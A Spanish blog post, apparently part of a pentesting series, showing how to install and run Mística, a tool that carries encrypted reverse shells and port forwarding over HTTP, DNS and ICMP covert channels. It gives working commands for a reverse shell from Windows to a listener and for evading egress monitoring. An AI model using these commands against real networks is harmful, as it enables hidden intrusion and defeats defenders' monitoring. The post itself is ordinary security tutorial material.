Muy buenas a todos!

Esta semana vamos a finalizar la serie de shells remotas. Para la ocasión, os traigo una herramienta escrita en Python llamada Mística. Además de tener un nombre y un logo muy molón, es capaz de utilizar canales encubiertos, comunicación cifrada bidireccional y todo tipo de túneles, entre otras muchas cosas.

En la anterior entrada, pudimos ver como XC nos ofrecía una shell remota muy sencilla y versátil para nuestras tareas de pentesting. Si te lo perdiste, aquí tienes el enlace: https://darkbyte.net/jugando-con-remote-shells-parte-ii-xc

A pesar de que existen todo tipo de shells remotas, es importante entender la finalidad de cada una de ellas. Como hemos podido ver en las entradas anteriores, cada una de las mismas tiene diferentes características, haciendo que su comportamiento sea único y que no siempre sea el ideal para cada situación.

Por ello, todo pentester debería de tener en su mochila los suficientes recursos para enfrentarse a cualquier reto. Con esto, no quiero decir que sea necesario descargar todas las shells que existen. Es preferible tener menos y dominarlas en profundidad. De hecho, la herramienta que hoy ocupa este artículo, debería de ser una de ellas.

Mística no se trata de una shell cualquiera. Creada por Carlos Fernández Sánchez y Raúl Caro Teixidó, se trata de toda una navaja suiza para la comunicación arbitraria sobre protocolos de aplicación.

A pesar de no tener ni un solo año de vida, la herramienta ha sido presentada en diferentes congresos de ciberseguridad, como Black Hat USA 2020 (Arsenal), c0r0n4con 2020 o BitUP 2020.

Para entender el funcionamiento de esta herramienta, necesitaremos ver que hay bajo el capó. Mística tiene un diseño modular, construido alrededor de un protocolo de transporte personalizado, llamado SOTP «Simple Overlay Transport Protocol». Los datos se cifran, se fragmentan y se colocan en paquetes SOTP. Estos paquetes, se codifican e integran en el campo deseado del protocolo de aplicación y por último, se envían al otro extremo.

Gracias a esto, la comunicación puede funcionar sobre cualquier protocolo conocido (por ahora HTTP, DNS e ICMP). Además, gracias a los módulos, podemos obtener una shell, transferir información, hacer port forwarding y mucho más.

Estos módulos, se identifican de dos formas: los «wrappers» y los «overlays». Los primeros, nos permiten elegir el protocolo que queremos utilizar para establecer la conexión entre ambas partes. Los segundos, modifican la funcionalidad de la herramienta en función del uso.

Para información más detallada, a continuación os dejo la página de GitHub del proyecto: https://github.com/IncideDigital/Mistica

También os recomiendo que veáis las dos últimas ponencias de los creadores, en las que podréis ver muchas más pruebas de concepto y un nivel de detalle mucho más alto:

Mística: Canales encubiertos sobre HTTP y DNS [C0r0n4CON 2020]

Canales Encubiertos con Mística [BitUP 2020]

Ahora que ya tenemos una ligera idea de que es Mística, vamos a ponerla a prueba 😜

Siguiendo el proceso habitual, descargaremos la herramienta de GitHub e instalaremos las dependencias con los siguientes comandos:

git clone https://github.com/IncideDigital/Mistica.git
python3.7 -m pip install pip --user
pip3.7 install dnslib --user

En mi caso no he utilizado el scope del usuario, además dnslib ya se encontraba instalado en el sistema.

Una vez descargado el proyecto, podremos ver que disponemos de dos partes: el cliente y el servidor. Lo primero que suelo hacer siempre, es consultar la ayuda para ver que nos ofrece la herramienta y cada una de las piezas que la componen.

Primero, consultaremos el servidor de la de la siguiente forma:

python3 ms.py -h

A continuación, realizaremos la misma consulta en la parte cliente:

python3 mc.py -h

Como habréis podido comprobar, las diferencias entre ambas partes son mínimas, siendo la opción «-s» en el servidor, la única que no existe en el cliente. Esto nos facilitará el uso de la herramienta, ya que la sintaxis es prácticamente idéntica en ambas partes.

El siguiente paso, será comprobar el funcionamiento de Mística con los siguientes comandos:

# Servidor Mística:
python3 ms.py -m io:http -k "darkbyte"

# Cliente Mística:
python3 mc.py -m shell:http -k "darkbyte"

Si todo ha funcionado correctamente, en la parte superior tendremos una consola semi-interactiva, en la que podremos ejecutar cualquier comando. En la parte inferior, el cliente será el que interpretará y ejecutará cada uno de los comandos recibidos por la parte servidor.

Por defecto, no aparecerá ningún mensaje en pantalla, ni recibiremos ningún aviso de que la conexión se ha establecido correctamente. Si queremos más información, tendremos que utilizar la opción «verbose», que creará una carpeta llamada logs donde se guardará la información, en función del nivel de detalle (-v, -vv o -vvv).

Analizando con un poco más de detalle, os explicaré lo que acaba de suceder:

• El servidor ha puesto a la escucha el puerto 8080 sobre HTTP, ya que no le hemos indicado ningún puerto concreto y hemos especificado únicamente el protocolo.

• Al utilizar el módulo «io» el servidor lee desde stdin, envía a través de la conexión SOTP y después lee la respuesta e imprime a la salida estándar.

• La comunicación se cifra utilizando la clave «darkbyte» a través de RC4.

Lo mejor de todo, es que en cualquier momento podríamos invertir los roles y hacer que sea el cliente quien lea la entrada de datos y el servidor interprete los comandos. También podemos utilizar el módulo «io» en ambos extremos, para exfiltrar información a través del mismo canal de comunicación.

Si queremos enviar o recibir ficheros, también utilizaremos el mismo módulo. La sintaxis sería muy similar a la que utilizaríamos para transferir ficheros a través de netcat. Tenéis toda la información y ejemplos de uso en la página de GitHub del proyecto.

Ahora vamos a ir un paso más allá, utilizando el protocolo ICMP desde una máquina Windows como cliente. Para ello, podemos instalar Python y utilizar la herramienta directamente o compilarla con la herramienta PyInstaller.

Actualmente los desarrolladores trabajan en un cliente nativo en formato binario. Mientras tanto, podemos utilizar cualquiera de las opciones que se muestran en este artículo.

A continuación, os dejo la sintaxis necesaria para compilar el cliente de Windows:

pyinstaller --onefile  --hiddenimport overlay.client.io --hiddenimport overlay.client.shell --hiddenimport overlay.client.tcpconnect --hiddenimport overlay.client.tcplisten --hiddenimport wrapper.client.http --hiddenimport wrapper.client.dns --hiddenimport wrapper.client.icmp --hiddenimport overlay.server.io --hiddenimport overlay.server.shell --hiddenimport overlay.server.tcpconnect --hiddenimport overlay.server.tcplisten --hiddenimport wrapper.server.wrap_module.http --hiddenimport wrapper.server.wrap_module.dns --hiddenimport wrapper.server.wrap_module.icmp --hiddenimport wrapper.server.wrap_server.httpserver --hiddenimport wrapper.server.wrap_server.dnsserver --hiddenimport wrapper.server.wrap_server.icmpserver mc.py

En mi caso, utilizaré Python sin compilar en el cliente:

python.exe .\mc.py -m shell:icmp -k "darkbyte" -w "--hostname 192.168.204.128"

En la parte servidor, deshabilitaremos la respuesta del protocolo ICMP, ya que así lo requiere la herramienta. Posteriormente, pondremos la parte servidor a la escucha para recibir la conexión:

sysctl -w net.ipv4.icmp_echo_ignore_all=1 && sysctl -p
python3 ms.py -m io:icmp -k "darkbyte" -w "--iface eth0"

Como puede verse en la imagen anterior, hemos recibido nuestra shell reversa sin ningún tipo de problema. Además, al utilizar el comando netstat, podemos observar que el proceso no está ocupando ningún puerto TCP ni UDP.

En muchas organizaciones, el tráfico saliente puede estar monitorizado, lo que nos podría impedir el uso de cualquier shell convencional. Por eso, es muy recomendable utilizar conexiones a través de DNS e ICMP en estos entornos, con el fin de garantizar la comunicación en nuestros ejercicios de Red Team.

Una de las funcionalidades más potentes de Mística, es la capacidad de hacer port forwarding sobre cualquier protocolo, utilizando las mismas bondades que el resto de módulos (comunicación cifrada y bidireccional, transferencia de datos y ficheros, etcétera..)

Para llevar esto a cabo, tenemos dos partes implicadas: «tcplisten» y «tcpconnect».

Como bien indican sus respectivos nombres, uno pone un puerto a la escucha y el otro se conecta a él. De esta forma, podemos crear un local port forwarding o un remote port forwarding en función del rol que esté ejerciendo cada una de las partes. Sencillo, verdad? 🙂

Ahora, veamos cómo ponerlo a prueba. Esta vez utilizaremos un actor nuevo en la ecuación anterior: Google Cloud Shell. Para realizar esta pequeña PoC, haremos lo siguiente:

• Ejecutaremos un cliente de HTTP-Revshell el equipo con Windows 10, apuntando a nuestra Kali Linux en el puerto 8000.

• Ejecutaremos el servidor de Mística en nuestra Kali Linux, con un tcplisten en el puerto 8000 y conexión a través de HTTP en el puerto 4433.

• Ejecutaremos el cliente de Mística en Google Cloud Shell, recibiendo la conexión en el puerto 4433 y reenviando la conexión al puerto local 8000.

De esta forma, el equipo Windows (que se encuentra aislado de internet para la PoC) se conectará a nuestra Kali Linux, que reenviará la conexión a través de HTTP a nuestra máquina de Google Cloud Shell, donde le estará esperando el servidor de HTTP-Revshell.

Una vez ejecutado el cliente de HTTP-Revshell, introduciremos el siguiente comando en nuestra Kali Linux:

Y finalmente, este sería el resultado final de la prueba de concepto:

Como puede verse en la captura, la comunicación se establece de forma totalmente transparente. Gracias al port forwarding, obtenemos el control del equipo Windows, incluso sin que éste tenga conexión a internet.

Además, en este caso particular, Google Cloud Shell no permite tráfico entrante (pero si de salida) por lo que, utilizando esta técnica, estamos bypasseando esa restricción de forma adicional.

Como conclusión final, se trata de una herramienta muy potente, que nos ofrece bypassear todo tipo de restricciones a nivel de red, a través de todo tipo de protocolos como canales encubiertos. Sin duda alguna, esta herramienta no debería faltar en tu mochila de pentester.

Espero que os haya gustado y os resulte útil en vuestras próximas auditorías.

Nos vemos en la próxima!